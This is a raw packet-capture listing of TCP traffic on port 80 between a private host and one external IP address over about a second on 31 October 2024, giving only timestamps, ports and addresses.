Oct 31, 2024 07:14:29.435405970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435415030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435425043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435446024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435457945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435470104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.435472012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435482979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435493946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435519934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.435539961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436139107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436186075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436202049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436254025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436260939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436271906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436304092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436316967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436331987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436372042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436393023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436402082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.436430931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.436444044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.478755951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.478770018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.478812933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.478849888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.509521008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509593010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.509608030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509617090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509630919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509641886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509651899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509654999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.509664059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509670973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.509675980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.509728909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.509730101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554075956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554086924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554104090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554116964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554131985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554178953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554220915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554245949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554259062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554269075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554285049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554315090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554346085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554354906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554389954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554406881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554491043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554500103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554532051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554541111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554541111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554578066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554579020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554590940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554600954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554621935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554641962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554805994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554846048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554855108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554867029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554898977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554909945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554923058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554933071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554943085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.554974079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554974079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.554991961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555223942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555260897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555272102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555273056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555295944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555298090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555305958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555315971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555341959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555351973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555579901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555592060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555602074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.555625916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.555644035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.628778934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628802061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628819942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628828049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.628829956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628851891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628854036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.628864050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.628866911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628881931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628892899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.628896952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.628922939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.628947973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.643340111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.643388033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.643392086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.643428087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673120975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673136950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673147917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673166990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673178911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673180103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673196077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673228025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673259974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673274994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673291922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673299074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673302889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673336983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673336983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673352003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673432112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673444033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673454046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673477888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673497915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673497915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673583984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673594952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673604965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673619986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673630953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673650026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673759937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673769951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673779964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673806906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673937082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673947096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673957109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673975945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.673976898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673984051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.673990011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674027920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674041033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674232960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674247026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674283028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674308062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674329042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674340963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674350977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674360991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674369097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674379110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674391985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674561977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674572945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674583912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674597025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.674611092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674623966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.674649954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.748014927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748060942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748070955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748091936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.748111963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.748120070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748131990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748162031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.748240948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748255014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748265028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.748291016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.748303890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.762542963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.762562990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.762598991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.762610912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793234110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793245077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793256998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793267012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793277979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793291092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793302059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793313026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793315887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793365002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793401003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793417931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793440104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793441057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793451071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793461084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793469906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793476105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793482065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793484926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793492079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793503046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793512106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793519020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793523073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793531895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793534040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793545961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793545961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793553114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793560028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793564081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793574095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793586016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793596029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793596983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793607950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793632030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793644905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793687105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793699026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793718100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793724060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793730021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793739080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793741941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.793760061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.793772936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.867149115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867161989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867173910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867201090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867222071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867233038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867247105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867252111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.867259979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.867283106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.867299080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.881469011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.881495953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.881548882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.881604910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911346912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911427021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911437988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911437988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911459923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911463022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911472082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911482096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911485910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911495924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911499977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911520958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911552906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911560059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911598921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911669016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911688089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911698103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911705971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911719084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911739111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911885977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.911936045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.911963940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912007093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912028074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912039042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912050009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912069082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912084103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912086010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912126064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912236929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912256956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912266970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912276030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912286043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912295103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912297964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912316084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912328005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912339926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912342072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912352085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912364006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912365913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912373066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912436962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912436962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.912929058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.912992954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.913007975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.913017988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.913028002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.913038015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.913048029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.913074970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.913074970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.913090944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.986870050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.986881971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.986896992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.986907959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.986921072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.986928940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.986942053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.986989975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.000461102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.000482082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.000493050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.000520945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.000541925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.000549078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.000618935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030400991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030421019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030431032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030451059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030463934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030474901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030493975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030495882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030507088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030528069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030560970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030683994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030702114 CET	80	49758	185.215.113.206	192.168.2.4
